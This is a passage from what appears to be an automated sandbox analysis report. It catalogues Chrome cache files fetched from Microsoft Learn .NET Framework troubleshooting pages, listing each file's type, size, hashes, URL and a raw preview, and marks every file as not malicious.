Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
